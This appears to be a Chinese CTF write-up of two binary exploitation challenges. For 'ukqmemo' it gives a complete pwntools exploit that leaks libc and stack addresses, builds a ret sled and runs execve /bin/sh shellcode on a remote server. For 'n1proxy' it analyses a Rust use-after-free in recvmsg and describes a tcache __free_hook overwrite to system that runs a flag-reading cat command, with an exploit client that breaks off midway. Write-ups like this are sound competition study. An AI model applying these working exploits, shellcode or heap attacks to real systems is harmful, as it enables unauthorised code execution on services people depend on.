        004b8000-004b9000 rw-p 000a8000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b9000-004da000 rw-p 00000000 00:00 0          [heap]
        76824000-76865000 rw-p 00000000 00:00 0 
        76865000-76991000 r-xp 00000000 00:02 1669       /lib/libc-2.30.so
        76991000-769a1000 ---p 0012c000 00:02 1669       /lib/libc-2.30.so
        769a1000-769a3000 r--p 0012c000 00:02 1669       /lib/libc-2.30.so
        769a3000-769a4000 rw-p 0012e000 00:02 1669       /lib/libc-2.30.so
        769a4000-769a7000 rw-p 00000000 00:00 0 
        769a7000-769c5000 r-xp 00000000 00:02 1607       /lib/libgcc_s.so.1
        769c5000-769d4000 ---p 0001e000 00:02 1607       /lib/libgcc_s.so.1
        769d4000-769d5000 r--p 0001d000 00:02 1607       /lib/libgcc_s.so.1
        769d5000-769d6000 rw-p 0001e000 00:02 1607       /lib/libgcc_s.so.1
        769d6000-76a32000 r-xp 00000000 00:02 1728       /lib/libm-2.30.so
        76a32000-76a41000 ---p 0005c000 00:02 1728       /lib/libm-2.30.so
        76a41000-76a42000 r--p 0005b000 00:02 1728       /lib/libm-2.30.so
        76a42000-76a43000 rw-p 0005c000 00:02 1728       /lib/libm-2.30.so
        76a43000-76b39000 r-xp 00000000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b39000-76b48000 ---p 000f6000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b48000-76b4d000 r--p 000f5000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b4d000-76b50000 rw-p 000fa000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b50000-76b51000 rw-p 00000000 00:00 0 
        76b51000-76b53000 r-xp 00000000 00:02 1621       /lib/libdl-2.30.so
        76b53000-76b62000 ---p 00002000 00:02 1621       /lib/libdl-2.30.so
        76b62000-76b63000 r--p 00001000 00:02 1621       /lib/libdl-2.30.so
        76b63000-76b64000 rw-p 00002000 00:02 1621       /lib/libdl-2.30.so
        76b64000-76b84000 r-xp 00000000 00:02 1351       /lib/libz.so.1.2.13
        76b84000-76b93000 ---p 00020000 00:02 1351       /lib/libz.so.1.2.13
        76b93000-76b94000 r--p 0001f000 00:02 1351       /lib/libz.so.1.2.13
        76b94000-76b95000 rw-p 00020000 00:02 1351       /lib/libz.so.1.2.13
        76b95000-76c10000 r-xp 00000000 00:02 1725       /lib/libssl.so.1.1
        76c10000-76c1f000 ---p 0007b000 00:02 1725       /lib/libssl.so.1.1
        76c1f000-76c24000 r--p 0007a000 00:02 1725       /lib/libssl.so.1.1
        76c24000-76c28000 rw-p 0007f000 00:02 1725       /lib/libssl.so.1.1
        76c28000-76e6f000 r-xp 00000000 00:02 1753       /lib/libcrypto.so.1.1
        76e6f000-76e7f000 ---p 00247000 00:02 1753       /lib/libcrypto.so.1.1
        76e7f000-76e95000 r--p 00247000 00:02 1753       /lib/libcrypto.so.1.1
        76e95000-76e97000 rw-p 0025d000 00:02 1753       /lib/libcrypto.so.1.1
        76e97000-76e9a000 rw-p 00000000 00:00 0 
        76e9a000-76f1a000 r-xp 00000000 00:02 1608       /lib/libcurl.so.4.8.0
        76f1a000-76f2a000 ---p 00080000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2a000-76f2b000 r--p 00080000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2b000-76f2d000 rw-p 00081000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2d000-76f2e000 rw-p 00000000 00:00 0 
        76f2e000-76f45000 r-xp 00000000 00:02 1751       /lib/libpthread-2.30.so
        76f45000-76f54000 ---p 00017000 00:02 1751       /lib/libpthread-2.30.so
        76f54000-76f55000 r--p 00016000 00:02 1751       /lib/libpthread-2.30.so
        76f55000-76f56000 rw-p 00017000 00:02 1751       /lib/libpthread-2.30.so
        76f56000-76f58000 rw-p 00000000 00:00 0 
        76f58000-76f9c000 r-xp 00000000 00:02 1595       /lib/libutil.so
        76f9c000-76fab000 ---p 00044000 00:02 1595       /lib/libutil.so
        76fab000-76fac000 r--p 00043000 00:02 1595       /lib/libutil.so
        76fac000-76fad000 rw-p 00044000 00:02 1595       /lib/libutil.so
        76fad000-76fae000 rw-p 00000000 00:00 0 
        76fae000-76fbd000 r-xp 00000000 00:02 1358       /lib/libjansson.so.4.7.0
        76fbd000-76fcc000 ---p 0000f000 00:02 1358       /lib/libjansson.so.4.7.0
        76fcc000-76fcd000 r--p 0000e000 00:02 1358       /lib/libjansson.so.4.7.0
        76fcd000-76fce000 rw-p 0000f000 00:02 1358       /lib/libjansson.so.4.7.0
        76fce000-76fee000 r-xp 00000000 00:02 1612       /lib/ld-2.30.so
        76ff5000-76ffb000 rw-p 00000000 00:00 0 
        76ffb000-76ffc000 r-xp 00000000 00:00 0          [sigpage]
        76ffc000-76ffd000 r--p 00000000 00:00 0          [vvar]
        76ffd000-76ffe000 r-xp 00000000 00:00 0          [vdso]
        76ffe000-76fff000 r--p 00020000 00:02 1612       /lib/ld-2.30.so
        76fff000-77000000 rw-p 00021000 00:02 1612       /lib/ld-2.30.so
        7efdf000-7f000000 rw-p 00000000 00:00 0          [stack]
        ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
  4. 如何获取 CGI 环境变量?

    • webd 调用 CGI 时只看文件名,所以可以将原来的 CGI 可执行文件替换成一个 shell 脚本打印出 webd 传递的环境变量。
  5. 如何确定未授权入口?

    • 提取两类地址—— web 根目录下所有的文件相对路径、前端 JS 中的 API 路径,使用 dirsearch 扫描排除 401 响应的接口(注意需要换不同的请求方法进行尝试)。提取未授权入口是因为漏洞位于 json 解析的库中,而不是 webd 中,需要能够找到能够解析 json 的接口来完成整个攻击链。

      • 提取的 URL 如下,其中 /syno-api/session 就是本次攻击的入口:

        [20:50:34] 200 -   29KB - /uistrings/ptb/strings
        [20:50:34] 200 -   28KB - /uistrings/nor/strings
        [20:50:34] 200 -   48KB - /uistrings/rus/strings
        [20:50:35] 200 -   29KB - /uistrings/sve/strings
        [20:50:35] 200 -   30KB - /uistrings/nld/strings
        [20:50:35] 200 -   30KB - /uistrings/krn/strings
        [20:50:35] 200 -   29KB - /uistrings/ita/strings
        [20:50:35] 200 -   30KB - /uistrings/spn/strings
        [20:50:35] 200 -   34KB - /uistrings/jpn/strings
        [20:50:35] 200 -   30KB - /uistrings/ptg/strings
        [20:50:35] 200 -   32KB - /uistrings/hun/strings
        [20:50:35] 200 -   27KB - /uistrings/enu/strings
        [20:50:35] 200 -   24KB - /uistrings/chs/strings
        [20:50:35] 200 -   28KB - /uistrings/dan/strings
        [20:50:35] 200 -   24KB - /uistrings/cht/strings
        [20:50:35] 200 -   31KB - /uistrings/ger/strings
        [20:50:35] 200 -   32KB - /uistrings/fre/strings
        [20:50:35] 200 -   30KB - /uistrings/trk/strings
        [20:50:35] 200 -   29KB - /uistrings/csy/strings
        [20:50:36] 200 -   31KB - /uistrings/plk/strings
        [20:50:36] 200 -   61KB - /uistrings/tha/strings
        [20:50:36] 200 -   32KB - /uistrings/uistrings.cgi
        [22:39:23] 200 -   15B  - /syno-api/session
        [22:39:25] 200 -    7B  - /syno-api/security/info/language
        [22:39:25] 200 -   21B  - /syno-api/security/info/mac
        [22:39:25] 200 -    4B  - /syno-api/security/info/serial_number
        [22:39:25] 200 -  105B  - /syno-api/security/info
        [22:39:25] 200 -    6B  - /syno-api/activate
        [22:39:25] 200 -    9B  - /syno-api/security/info/name
        [22:39:25] 200 -   14B  - /syno-api/maintenance/firmware/version
        [22:39:25] 200 -    6B  - /syno-api/security/network/dhcp
        [22:39:25] 200 -    9B  - /syno-api/security/info/model

0x00 漏洞点

  • 用户态在 free_space 中读写的时候,使用 f_pos 来控制读写偏移,f_pos 有 0x3FFFFFFF 最大值限制

    image-20230920182346105

    • 最开始想着 read/write 会不会有逻辑问题导致 overlap 的发生去修改 fixed_space 的 meta 区域的指针构造任意地址读写,但是看了很久代码确认其没有这样的逻辑问题
    • 使用 offset = 0x3FFFFFFF-1-0x1000, size = n 这样的组合去读 free_space 看着像是会越界,但是不知道越界所读到的是什么,最开始是直接猜测会读到内核中一些对用户态没帮助的数据,但是实际上神奇的点就在这。不过在 user mode 题所给出的代码中完全看不出来具体的漏洞原因是什么,需要通过 kernel mode 题给出的源码中找到原因,当然如果随手试一试上面的那个边界条件来读东西就会发现有点端倪的...
    • 这里唯一要注意的一个东西就是,如果 data 为 NULL(一开始没去考虑这种情况),那么这个读循环是不会终止的,循环继续下去 f_pos 也会递增从而有可能超过之前的最大值限定,产生“非预期”行为

    over_rw_reason_code_2

  • 下一步就是使用 kernel mode 的代码查看 get_memo_ro 的实现,它把传进去的 pos 按页对齐后传给了 __pgoff_to_memopage

    over_rw_reason_code_3

    • 这个函数是问题的关键。这个函数从一个二级页表结构中,取出 f_pos 所命中的页面。每一级页表都是一个 0x200 大小的指针表,只不过在初始情况下第一级页表中,只有第一项是有值的,其它都是 NULL,导致只要超出第一个页表去读写时都会返回 NULL,于是用户会读写不到任何东西(但是也不会报错)

    over_rw_reason_code_0

    over_rw_reason_code_1

    • 一级页表的最后一项和第一项

    page_level_1

    • 存在一个问题,如果 f_pos 从 0x3FFFFFFF-1 开始读写,会拿到一个空的页表项,返回空指针;然后 f_pos 继续增长,此时会超过 0x3FFFFFFF,通过计算之后,一级页表的下表会变成 0 导致产生严重的 overlap 去读写 fixed_space 的 meta 指针区域

    over_rw_reason

    • meta 指针表,其中的指针和 libc 有固定偏移,可以泄露 libc 地址;通过写指针然后用 fixed_read 可以进一步泄露出栈地址

    free_space_over_read

0x01 利用的坑

  • 看起来可以任意地址读写之后就可以为所欲为了,直接读栈地址,写 rop 到栈上就搞定了,但是有一个巨大的坑,那就是远程交互是通过 TTY 处理再输入到程序的 STDIN 中的,这个过程部分特殊字符会被 TTY 处理产生别的效果。例如写指针要用到的 \x7f 对应的控制效果是 DEL,这会导致它本身和它前一个字符在输入到 STDIN 时消失,还有其他比如 Ctrl+C 等会导致进程结束...尝试通过 \x16 等字符也没有成功 escape,花了很久时间最后决定尝试绕掉 \x7f 的坑;
  • 首先,任意地址读写的时候,由于读写的都是 libc 或者 栈地址,所以只控制 meta 指针的低 5 字节即可;
  • 由于程序本身几乎没有可用 gadget,如果写 libc 地址,又要面临 \x7f 的问题,所以不能很顺利写 ROP 到栈上;
  • 写栈上 main 函数返回地址的时候,由于需要使用 fixed_write 功能来写,不能自由控制写入的字节数量(固定为0x100),会导致终端的换行符被一并写入,覆盖掉高位,所以需要尝试把要写入的 5 字节放在 0x100 字节的末尾,不过这样就得从 target-(0x100-5) 的地方开始写,容易破坏其它东西,所以用了下面这个方法来劫持一个高位为 0x7f 的指针,同时不破坏正常数据,唯一的要求就是返回地址之后一定距离内要有一个高位为 \x7f 的指针;

    • image-20230920190922703
  • 最开始发现,在这个位置能刚好满足 one_gadget 条件,但是劫持过去才发现 busybox 环境对 argv[0] 有要求,one_gadget 不起作用;
  • 然后就开始漫长的走弯路。。。构造了好久 rtld_global。。。最后也没用;
  • 折腾了一大通才发现,用户态程序开了 栈可执行(??????),在 buff 中写 shellcode 然后用上述方法劫持指针跳过去就搞定了。。。

0x02 其它

  • 有一个没用上但是很神奇的思路,libc 地址最高字节有一定概率为 \x7e ,在这种条件下任意地址写时可以不用考虑 \x7f 的限制从而写 libc 的任意地址(但是写不了栈),而且这个题目中进退出了连接不会断,而是会回到 login 界面,给了这种爆破很大的可能性,以至于让我一度以为这个是预期解法...

0x03 EXP

from pwn import *
import os

context.log_level = "debug"
context.arch = "amd64"

#p = process("./run.sh")
p = remote("ukqmemo.seccon.games", 6318)

def free_space():
    p.sendlineafter(b"> ", b"2")
    
def free_read(offset:int, size:int):
    p.sendlineafter(b"S> ", b"1")
    p.sendlineafter(b"Offset: ", str(offset).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    
def free_write(offset:int, size:int, data):
    p.sendlineafter(b"S> ", b"2")
    p.sendlineafter(b"Offset: ", str(offset).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Input: ", data)
    
def free_back():
    p.sendlineafter(b"S> ", b"0")
    
def fixed_space():
    p.sendlineafter(b"> ", b"1")
    
def fixed_read(idx):
    p.sendlineafter(b"M> ", b"1")
    p.sendlineafter(b"Index: ", str(idx).encode())
    
def fixed_write(idx, data):
    p.sendlineafter(b"M> ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Input: ", data)

def fixed_back():
    p.sendlineafter(b"M> ", b"0")
    
def escape(x):
    return b''.join(
        bytes([i])
        if (i>=0x20 and i!=0x7f) or i==0 else
        bytes([0x16, i])
        for i in x)
        
def write_primitive(addr, value, no_back=False):
    free_space()
    payload = b"\x00\x00" + p64(addr)[:5]
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    print(f"write {value.hex()} to addr({hex(addr)})")
    fixed_space()
    fixed_write(0, value)
    if not no_back:
        fixed_back()
    
def read_primitive(addr):
    free_space()
    payload = b"\x00\x00" + p64(addr)[:5]
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    fixed_space()
    fixed_read(0)
    fixed_back()
        
def check_payload(payload):
    cnt = 0
    for i in payload:
        if i in [0x3,0x4,0xa,0x11,0x13,0x14,0x15,0x18,0x19,0x1a,0x1c,0x7f]:
            print("bad char:", cnt, hex(i))
            return False
        cnt += 1
    return True
        

def exp():
    _pow = 1
    if _pow:
        p.recvuntil(b"hashcash -mb26 ")
        val = p.recvuntil(b"\n", drop=True)
        res = os.popen(f"hashcash -mb26 {val.decode()}").read()
        p.sendlineafter(b"hashcash token: \n", res.encode())
        

    p.sendlineafter(b"buildroot login: ", b"ctf")
    
    # leak mmap addr & libc addr
    free_space()
    free_read(0x3FFFFFFF-1-0x1000, 0x10)
    p.recvuntil(b"Output: \x00\x00")
    leak1 = u64(p.recv(8))
    memo_base = leak1 - 0x100
    libc_base = memo_base + 0x3000
    environ = libc_base + 0x185160
    print("leak1:", hex(leak1))
    print("memo_base:", hex(memo_base))
    print("libc_base:", hex(libc_base))
    print("environ:", hex(environ))
    
    # leak environ
    tmp = b"\x00\x00" + p64(environ)[:5]
    payload = tmp
    print("payload1:", payload.hex())
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    free_space()
    free_read(0x3FFFFFFF-1-0x1000, 0x10)
    free_back()
    
    fixed_space()
    fixed_read(0)
    p.recvuntil(b"Output: ")
    stack_leak = u64(p.recv(8))
    print("stack_leak:", hex(stack_leak))
    fixed_back()
    
    # leak program base
    free_space()
    bin_leak_ptr = stack_leak+0xf0
    tmp = b"\x00\x00" + p64(bin_leak_ptr)[:5]
    payload = tmp
    print("payload2:", payload.hex())
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    fixed_space()
    fixed_read(0)
    p.recvuntil(b"Output: ")
    bin_leak = u64(p.recv(8))
    bin_base = bin_leak - 0x1240
    print("bin_leak:", hex(bin_leak))
    print("bin_base:", hex(bin_base))
    fixed_back()
    
    # gadgets
    ret = bin_base + 0x1298
    one_gadget = libc_base + 0x5eb99
    # try rop
    ret_addr = stack_leak - 0x200 + 0xd8
    shellcode_addr = stack_leak - 0x580
    payload = b"\x00"*((0x100-5)%8) + p64(ret) * (0xf8//8) +p64(shellcode_addr)[:5]
    write_primitive(ret_addr+0xf8-(0x100-5), payload, True)
    shellcode = b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
    if check_payload(shellcode):
        print("good shellcode")
    else:
        print("bad shellcode")
    free_space()
    free_write(0, len(shellcode), shellcode)
    free_back()

    print("shellcode_addr:", hex(shellcode_addr))
    print("ret_gadget:", hex(ret))
    
    p.interactive()

if __name__ == "__main__":
    exp()

n1proxy

附件:https://pan.baidu.com/s/1JWEtWiyOmaJ4tzrVVXLZhA?pwd=ty6w (提取码:ty6w)

0x00 题目信息

we use safety rust to deploy a very safe proxy server!

Notice:the docker can't restart automatically for some reason, please close the docker and start a new one if you find some trouble

又是一个 Rust Pwn,比较巧的是比赛过程中获得了一血唯一解

0x01 题目分析

代码审计

  • 本题使用私有协议实现了一个支持 TCP, UDP, UNIX SOCK 三种底层协议的 proxy server,并且采用了 Rust 语言编码。源代码中多处使用 unsafe 代码块来直接调用 libc 中的函数;
  • main 函数起始处将 ptmalloc 中的 arena 数量设置为了 1,主要是为了简化在并发情况下堆利用的难度;

    • // make this easier :)
      unsafe {
          mallopt(libc::M_ARENA_MAX, 1);
      }
  • 主函数通过 handle_client 并行处理所有进入的连接;

    • thread::spawn(move || {
          println!("New client connected");
          handle_client(client_fd).unwrap_or_else(|err| {
              eprintln!("Error: {}", err);
              let err_msg = format!("error : {}", err);
              my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok();
          });
          unsafe { libc::close(client_fd) };
          println!("Client disconnected")
      });
  • handle_client 中主要通过 my_writemy_read 与客户端交互,并完成与客户端的密钥交换、会话密钥的协商,最后执行客户端指定的代理功能。需要注意的是,在一个会话中,只能调用一次代理功能的原语,整体的协议交互流程整理如下:

    • (handshake)
      server --> client | HELLO_MSG: "n1proxy server v0.1"
      client --> server | CLIENT_HELLO: "n1proxy client v0.1"
      client --> server | conn_type
      server --> client | key_exchange_sign, key_exchange
      client --> server | client_verify_len, client_verify
      client --> server | client_key_len, client_key_n
      client --> server | client_key_len, client_key_e
      server --> client | new_session_sign, new_session[E_cli(session_key), E_cli(time)]
      
      (new session)
      client --> server | E_sess(pre_conn[type_u32, status_u32, signature])
      server --> client | E_sess(ok_msg[ok_msg, key_exchange_sign])
      
      (connection operations)
      switch status:
      Listen:
          client --> server | E_sess(conn_data[host_len, host, port, signature])
          // new_unix_socket_listen(&target_host, target_port)
          server --> client | E_sess(resmsg[conn_fd, key_exchange_sign])
      
      Close:
          client --> server | E_sess(conn_data[fd, signature])
          // close(fd)
          server --> client | E_sess(resmsg[0, key_exchange_sign])
      
      Conn:
          client --> server | E_sess(conn_data[host_len, host, port, signature])
          // ProxyType::Tcp => my_connect(&target_host, target_port)?,
          // ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?,
          // ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?,
          server --> client | E_sess(resmsg[conn_fd, key_exchange_sign])
      
      Recv:
          client --> server | E_sess(conn_data[fd, data_size_u64, signature])
          // TCP: my_read(fd, data, len);
          // ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
          // ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
          server --> client | E_sess(resmsg[data[recv_data_len, recv_data], key_exchange_sign])
      
      Send:
          client --> server | E_sess(conn_data[fd, data_size_u64, data, signature])
          // TCP: my_write(fd, data, len);
          // ProxyType::Udp => my_sendto(target_fd, &send_data)?,
          // ProxyType::Sock => my_send_msg(target_fd, &send_data)?,
          server --> client | E_sess(resmsg[send_res, key_exchange_sign])
    • handshake 部分会完成密钥的交换,并协商出一个 session_key,完成会话的初始化;
    • 会话建立后,new session 部分客户端先传递 typestatue 两个参数,type 用于指定代理所使用的协议类型,statue 决定使用什么功能原语;
    • connection operations 部分,按照 status 分发进入不同的原语中:

      • Listen:使用 unix:sock 在 /tmp/<hash_val> 目录下监听请求;
      • Close:关闭连接池中的指定 fd,并完成相应的资源释放;
      • Conn:指定 target_host:port 并使用 type 中指定的协议建立连接,并将 fd 加入连接池中;
      • Recv:指定连接池中的 fd 并使用 type 中指定的协议接收 data_size 大小的数据并返回;
      • Send:指定连接池中的 fd 并使用 type 中指定的协议发送 data_size 大小的数据并返回发送字节数。
  • 其它关键函数的实现请参考源代码。

漏洞点

漏洞位于指定 Recv 功能的 type 为 unix:sock 协议时所调用的 my_recv_msg 函数,但是该漏洞比较隐蔽,即使有一定 Rust 开发经验的人也会容易忽略(更何况我没有...)。

不过通过对比 my_send_msgmy_recv_msg 两个函数实现,再结合一定的分析还是能够看出端倪的:

#[inline(always)]
fn my_send_msg(fd: i32, msg: &[u8]) -> Result<isize> {
    let mut iov = vec![iovec {
        iov_base: msg.as_ptr() as *mut _,
        iov_len: msg.len(),
    }];
    let m = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: iov.as_mut_ptr(),
        msg_iovlen: iov.len(),
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let send_res = unsafe { sendmsg(fd, &m, 0) };

    if send_res < 0 {
        return os_error!();
    }
    Ok(send_res)
}

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
        iov_len: recv_size,
    }];
    let mut msg = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: recv_iov.as_mut_ptr(),
        msg_iovlen: 1,
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };
    if recv_sz < 0 {
        return os_error!();
    }

    let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
    Ok(res.to_vec())
}
  • msghdr 是 Linux 下 sock 通信常用的一个结构体,其中较为关键的是 struct iovec * msg_iovint msg_iovlen,他们设置了待使用缓冲区的队列头和长度。而 iovec 结构体由 iov_baseiov_len 组成,前者保存的是缓冲区指针,后者保存缓冲区大小来避免越界;

    • #include<sys/socket.h>
      struct msghdr  {
          void* msg_name ;   
          socklen_t msg_namelen ;    
          struct iovec  * msg_iov ;   
          int  msg_iovlen ;   
          void  * msg_control ;  
          socklen_t msg_controllen ; 
          int  msg_flags ;  
      } ;
  • 回到这两个函数里面,my_send_msg 中, iov_base 设置的是 msg 的指针,msg 由上层函数申请并传入,其内容为客户端想要发送的数据;而 my_recv_msg 中,iov_base 通过 vec![0u8; recv_size].as_mut_ptr() as *mut _ 的方式初始化,这相当于在堆上开辟了一段 recv_size 大小的空间并转换为指针后赋值。这里有三个问题:

    • as_mut_ptr() 方法会返回 vector 第一个元素的裸指针,Rust 无法跟踪或管理裸指针的生命周期;
    • 同时,vec![0u8; recv_size] 在一个类似闭包的环境中申请,一旦出了对应的代码块就会被释放,而由于使用了裸指针来引用这块内存,并且最后所有引用 iov_base 的地方都位于 unsafe 代码块中,编译器完全无法正确追踪和检查此处的生命周期问题;
    • 最后一个问题,slice::from_raw_parts 的大小参数使用了用户指定的 recv_size,而不是 recvmsg 函数的返回值——即实际从 fd 中读出的数据大小 recv_sz。如果 recv_size 小于 recv_sziov_base 残留未初始化数据的话,这可能会导致这部分未初始化数据被当作正常读出的数据返回给客户端。
  • 所以 my_recv_msg 函数可以等价为:

    1. 使用一个 recv_size 大小的内存初始化 iov_base
    2. 释放这块内存得到悬空指针;
    3. unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存(UAF);
    4. 最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 申请一个同样大小的内存,并把此时 recv_iov[0].iov_base 指针上的值拷贝到这块内存中。

0x02 利用思路

  • 因为漏洞点位于 my_recv_msg ,所以我们主要使用的功能原语是 unix:sock 协议下的 Send 和 Recv。为了使用这两个原语,还得先建立一个双工的管道。首先需要使用 Listen 功能监听一个 socket 文件,此时会话的线程会阻塞在 accept 的位置;然后在新进程中创建另一个会话调用 Conn 功能连接这个 socket 文件,此时会获得一个 fd,先前阻塞在 accept 的会话也会因为有新的连接请求而返回一个 fd。此时我们通过这两个 fd 就建立了一个双工管道,在管道的两端读写就可以分别调用 my_send_msgmy_recv_msg
  • 由上面的分析可以知道,iov_base 可以完成 UAF 的读和写,但是此时没有别的漏洞泄露地址,而在向客户端泄露值之前先要完成一次从 recvmsg 读出数据的写,此时如果不控制好写入的值会导致 crash。例如此时写入的是 tcache chunk 的 next 指针,当进行后续 malloc 操作的时候可能就会发生未知错误;
  • 奇妙的风水:由于 IDA 逆向没搞清楚到底要在哪下断点,于是就在 UAF 的前后直接查看堆的状态来风水。经过测试得到这么一个组合,当 Send 发送 8 个 \x00 ,且 Recv 接收 0x200 大小的数据时,会有较大概率泄露出一个较稳定的 libc 地址且不 crash:

    • image-20231026164134677
  • 题目使用的是 libc 2.27,所以第一时间考虑直接使用 tcache 覆写 __free_hook 的经典方法,但是具体怎么稳定地将值写上去折腾了老半天。因为 slice::from_raw_parts 的存在,在通过 UAF 覆盖 next 指针之后,程序会在同一个 bin 上申请相同大小的 chunk,并将 iov_base 指针处的值拷贝到其中。实际上如果将 next 覆盖为 __free_hook,那么 slice::from_raw_parts 直接申请到的就是 __free_hook 未知的内存。由于 iov_base 最开头保存的就是 next 指针的值,而 +0x8 的位置在重新 malloc 时会被清空,所以只能把要写入的值放在 +0x10 处,并将 next 指针修改为 __free_hook-0x10。这里还要将 tcache chunk + 0x8 的地方放一个可读可写的地址,来保证检查不出错(至于为什么不用控制为 heap+0x10 也没管太多,反正就是可以),最后再写 system 地址即可劫持 __free_hook 为 system;
  • 最后通过 Send 功能发送 b"cat /home/ctf/flag >&9\x00",并使用同样 0x50 的大小 Recv 接收,即可将 flag 写出到响应给客户端的数据流中。

    • image-20231026170145854

0x03 一些坑

  • Send 功能中,由于题目代码实现的原因,data 和 sig 如果拼接在一起发送的话会导致线程阻塞,也就是认为没有读完;如果分开发送的话,则对 data 有最小长度为 20 个字节的要求,这显然容易破坏一些想要的值;所以采取的方案是拼接 data 和 sig,但是留末尾两个字节分开发送,由于 session_key 使用带有 padding 的块密码加密数据,所以服务端是可以正常读出的,这样就可以保证 data 最短可发送 1 个字节,且不会一直阻塞。

0x04 EXP

from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p8, p16, p32, p64, u8, u16, u32, u64
import pwnlib.log as log
from pwn import *
import rsa
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import pad, unpad
from enum import Enum
import threading
import time

context.log_level = "debug"

class ConnType(Enum):
    New = 0
    Restore = 1
    Renew = 2
    Restart = 114514
    Unknown = 3

class ProxyType(Enum):
    Tcp = 0
    Udp = 1
    Sock = 2
    Unknown = 3

class ProxyStatus(Enum):
    Send = 0
    Recv = 1
    Conn = 2
    Close = 3
    Listen = 4
    Unknown = 5

class Client(object):
    def __init__(self):
        self.server_key = None
        
        if os.path.exists("client_key.pem"):
            with open("client_key.pem", "rb") as f:
                self.client_key = RSA.import_key(f.read())
        else:
            self.client_key = RSA.generate(1024)
            self.client_key.has_private()
            with open("client_key.pem", "wb") as f:
                f.write(self.client_key.export_key())

        self.r = remote("chall-4a4554644c7a5349.sandbox.ctfpunk.com", 21496)

        self.state = 0
        self.session_key = ()

    def rsa_decrypt(self, data: bytes) -> bytes:
        if not self.client_key.has_private():
            raise Exception("No private key")
        
        cipher = PKCS1_v1_5.new(self.client_key)
        decrypted = cipher.decrypt(data, None)
        return decrypted

    def rsa_encrypt(self, data: bytes):
        pass

    def aes_encrypt(self, data: bytes) -> bytes:
        key, iv = self.session_key
        cipher = AES.new(key, AES.MODE_CBC, iv)
        encrypted_data = cipher.encrypt(pad(data, AES.block_size))
        return encrypted_data

    def aes_decrypt(self, data: bytes):
        key, iv = self.session_key
        cipher = AES.new(key, AES.MODE_CBC, iv)
        try:
            decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
            return decrypted_data
        except ValueError:
            raise Exception("Invalid padding")

    def send_client_hello(self):
        self.r.recvuntil("n1proxy server v0.1")
        self.r.send("n1proxy client v0.1")

    def send_conn_type(self, type):
        """
        enum ConnType {
            New = 0,
            Restore = 1,
            Renew = 2,
            Restart = 114514,
            Unknown = 3,
        }
        """
        self.r.send(p32(type))

    def verify(self, data: bytes, signature: bytes):
        """
        verify signature from server
        """
        assert self.server_key is not None
        hash_obj = SHA256.new(data)
        verifier = pkcs1_15.new(self.server_key)
        try:
            verifier.verify(hash_obj, signature)
            log.success("Verify server key success")
        except (ValueError, TypeError):
            raise Exception("Invalid server key")

    def sign(self, data: bytes):
        """
        sign data with client private key
        """
        assert self.client_key.has_private()
        signer = pkcs1_15.new(self.client_key)
        hash_obj = SHA256.new(data)
        signature = signer.sign(hash_obj)
        return signature

    def get_server_pubkey(self):
        # key_exchange_sign ->
        # [ len(key_exchange_sign) (8 bytes) | key_exchange_sign (512 bytes) ]
        key_exchange_sign_total = 520
        buf = self.r.recv(key_exchange_sign_total)
        key_exchange_sign_length = u64(buf[:8])
        key_exchange_sign = buf[8:]
        assert(len(key_exchange_sign) == key_exchange_sign_length)

        # key exchange ->
        # [ sizeof(pubkey_n) (8 bytes) | sizeof(pubkey_e) (8 bytes) | pubkey_n (512 bytes) | pubkey_e (3 bytes)]
        key_exchange_total = 531
        key_exchange_buf = self.r.recv(key_exchange_total)
        pubkey_n_length = u64(key_exchange_buf[:8])
        pubkey_e_length = u64(key_exchange_buf[8:16])
        pubkey_n = key_exchange_buf[16:528]
        pubkey_e = key_exchange_buf[528:]
        assert len(pubkey_n) == pubkey_n_length
        assert len(pubkey_e) == pubkey_e_length

        log.info("key_exchange_sign_length: " + str(key_exchange_sign_length))

        pubkey_n = int.from_bytes(pubkey_n, "big")
        pubkey_e = int.from_bytes(pubkey_e, "big")
        
        if self.server_key is None:
            self.server_key = RSA.construct((pubkey_n, pubkey_e))
            self.verify(key_exchange_buf, key_exchange_sign)

        log.success("pubkey_n: " + str(pubkey_n))
        log.success("pubkey_e: " + str(pubkey_e))

    def send_client_pubkey(self):
        """
        * client_msg_len is 8bytes
        """
